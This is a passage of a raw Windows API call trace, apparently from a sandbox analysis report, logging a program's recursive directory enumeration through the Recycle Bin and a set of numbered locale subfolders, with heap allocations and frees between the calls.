lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.438] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.438] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.438] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.438] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.438] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.438] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.438] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.438] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0126.438] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 0 [0126.439] FindClose (in: hFindFile=0x52a680 | out: hFindFile=0x52a680) returned 1 [0126.439] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43e0728 | out: hHeap=0x510000) returned 1 [0126.439] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 1 [0126.439] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 1 [0126.439] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43e0728 [0126.440] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 0x52a680 [0126.635] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.635] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.635] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.635] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.636] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.636] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.636] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.636] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.636] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.636] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0126.637] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.637] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.637] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.639] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.639] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.639] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.639] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.639] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.639] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.639] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0126.639] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.639] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.639] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.641] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.641] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.641] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.641] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.641] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.641] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.642] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0126.642] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.642] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.644] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.644] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.644] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.644] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.644] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.644] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.645] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0126.645] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.645] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.646] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.646] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.647] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.647] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.647] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.647] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.647] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0126.647] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.647] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.649] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.649] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.649] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.649] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.649] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.650] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.650] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0126.650] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.650] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.650] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.652] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.652] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.652] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.652] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.652] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.652] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.653] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0126.653] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.653] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.653] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.655] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.655] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.655] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.655] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.655] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.655] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0126.656] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.656] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.656] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.658] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.658] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.658] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.658] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.658] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.658] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.659] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0126.659] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.659] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.659] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.661] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.661] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.661] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.661] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.661] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.661] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.662] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0126.662] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.662] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.662] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.663] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.663] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.663] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.663] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.663] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.663] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.664] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0126.664] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.664] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.664] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.666] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.666] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.666] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.666] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.666] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.666] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.667] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0126.667] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.667] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.667] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.669] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.669] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.669] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.669] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.669] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.669] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.670] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0126.670] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.670] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.670] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a780 [0127.060] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.060] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.060] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.061] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.061] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.061] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.061] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.061] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.061] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.061] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a780 [0127.062] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.062] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.062] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.062] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.062] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.062] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.063] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.063] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.063] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.063] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a780 [0127.064] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.064] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.064] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.064] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.064] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.064] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.065] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.065] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.065] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.065] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a780 [0127.066] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.066] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.066] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.066] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.066] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.066] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.067] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.067] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.067] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a780 [0127.068] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.068] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.068] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.068] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.068] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.068] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.069] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.069] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.069] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.069] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a780 [0127.069] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.070] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.070] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.070] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.070] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.070] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.070] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.070] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.071] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.071] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a780 [0127.071] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.071] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.071] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.072] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.072] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.072] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.072] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.072] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.072] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a780 [0127.073] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.073] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) 